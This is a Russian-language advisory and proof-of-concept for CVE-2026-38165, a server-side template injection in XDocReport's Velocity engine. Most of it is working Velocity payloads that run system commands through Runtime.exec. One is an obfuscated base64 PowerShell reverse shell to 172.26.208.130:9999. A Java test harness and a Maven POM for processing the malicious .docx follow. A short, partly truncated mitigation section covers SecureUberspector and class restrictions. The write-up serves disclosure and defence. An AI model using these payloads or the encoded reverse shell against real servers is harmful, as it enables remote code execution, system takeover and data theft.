
CVE-2026-38165 (SSTI)
Обзор уязвимости
Серверная инъекция шаблонов (SSTI) — это уязвимость веб-безопасности, позволяющая злоумышленнику внедрить вредоносный код в шаблоны (templates), используемые системами управления контентом (CMS) и веб-фреймворками, с целью удалённых атак, получения конфиденциальной информации или выполнения несанкционированных действий в системе.
SSTI — разновидность уязвимости внедрения (как SQL-инъекция, XSS и т.д.), при которой злоумышленник использует системы шаблонов для удалённого выполнения кода. При успешной атаке SSTI злоумышленник может выполнить свой код на сервере, что позволяет ему проводить удалённые атаки, такие как сбор конфиденциальной информации, выполнение несанкционированных действий в системе и доступ к неавторизованным ресурсам.
Уязвимость SSTI обычно возникает из-за использования небезопасных систем шаблонов или отсутствия проверки и обработки входных параметров перед их вставкой в шаблоны. Если атака SSTI оказывается успешной, последствия могут быть серьёзными и причинить значительный ущерб атакованной организации.
Влияние на бизнес
Уязвимость SSTI может привести к множеству серьёзных последствий, включая:
Выполнение вредоносного кода: Злоумышленник может использовать эту уязвимость для выполнения вредоносного кода на сервере, что позволяет ему украсть данные, выполнить незаконные действия в системе или даже полностью захватить сервер.
Раскрытие конфиденциальной информации: SSTI может позволить злоумышленнику читать, изменять или удалять файлы на сервере. Если эти файлы содержат конфиденциальную информацию, такую как учётные записи и пароли, злоумышленник может легко её раскрыть.
Угрозы или обман пользователей: Злоумышленник может использовать SSTI для проведения угрожающих или обманных атак, изменяя содержимое веб-страницы или добавляя поддельные настраиваемые кнопки. Если пользователь нажмёт на такие кнопки, злоумышленник может украсть его данные или установить вредоносное ПО на его компьютер.

fr.opensagres.xdocreport.template.velocity
Уязвимость серверной инъекции шаблонов (SSTI) была обнаружена в OpenSAGRES XDocReport при обработке шаблонов DOCX с помощью движка Velocity. При определённых настройках специально созданные шаблоны могут привести к удалённому выполнению кода (RCE).
Веб-приложение для управления персоналом позволяет пользователям загружать файлы документов .docx в систему. В процессе обработки приложение использует движок шаблонов Velocity (в файле) для рендеринга содержимого без механизма контроля или фильтрации входного содержимого.
Эта уязвимость позволяет злоумышленнику внедрять вредоносные выражения в файл .docx (шаблон), что приводит к удалённому выполнению кода (RCE) на сервере и может быть использовано для кражи информации или захвата системы.
fr.opensagres.xdocreport.template.velocity — XDocReport (версии =< 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

velocityEngine.evaluate(...) — это стандартный/«по умолчанию» метод Apache Velocity для оценки (evaluate) шаблона из Reader (или из String) с использованием Context и записи в Writer. Он выполняет синтаксис VTL (Velocity Template Language) так же, как Template.merge(...)
evaluate: разбирает из Reader/String → удобен, когда шаблон является динамическим/недоверенным.
getTemplate(...).merge(...): загружает шаблон, обработанный загрузчиком ресурсов (кэширование, кодировка и т.д.), а затем выполняет слияние. Что касается возможности выполнения VTL, оба метода выполняют одни и те же выражения; разница в основном заключается в месте/режиме загрузки шаблона.
.docx, содержащий следующий payload:
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result



#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


172.26.208.130
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

.docx на обработку в xdocreport

velocityEngineProperties.setProperty(
"runtime.introspector.uberspect",
"org.apache.velocity.util.introspection.SecureUberspector"
);
Класс Apache Velocity SecureUberspector — это изолированный интроспектор.
SecureUberspector блокирует:
velocityEngineProperties.setProperty(
"introspector.restrict.classes",
"java.lang.Class,
java.lang.ClassLoader,
java.lang.Process,
java.lang.Runtime,
java.lang.System,
java.lang.Thread"
);
velocityEngineProperties.setProperty(
"introspector.restrict.packages",
"java.lang.reflect"
);
Блокирует:
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Чтение входного файла, содержащего выражение Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // Входной файл
InputStream input = new FileInputStream(docxTemplate);
// Загрузка шаблона с использованием Velocity
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// Создание контекста — может быть пустым, если тестируем независимые выражения
IContext context = report.createContext();
// Вывод в новый файл
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Файл result.docx успешно создан.");
} catch (Exception e) {
System.err.println("❌ Ошибка обработки файла:");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>













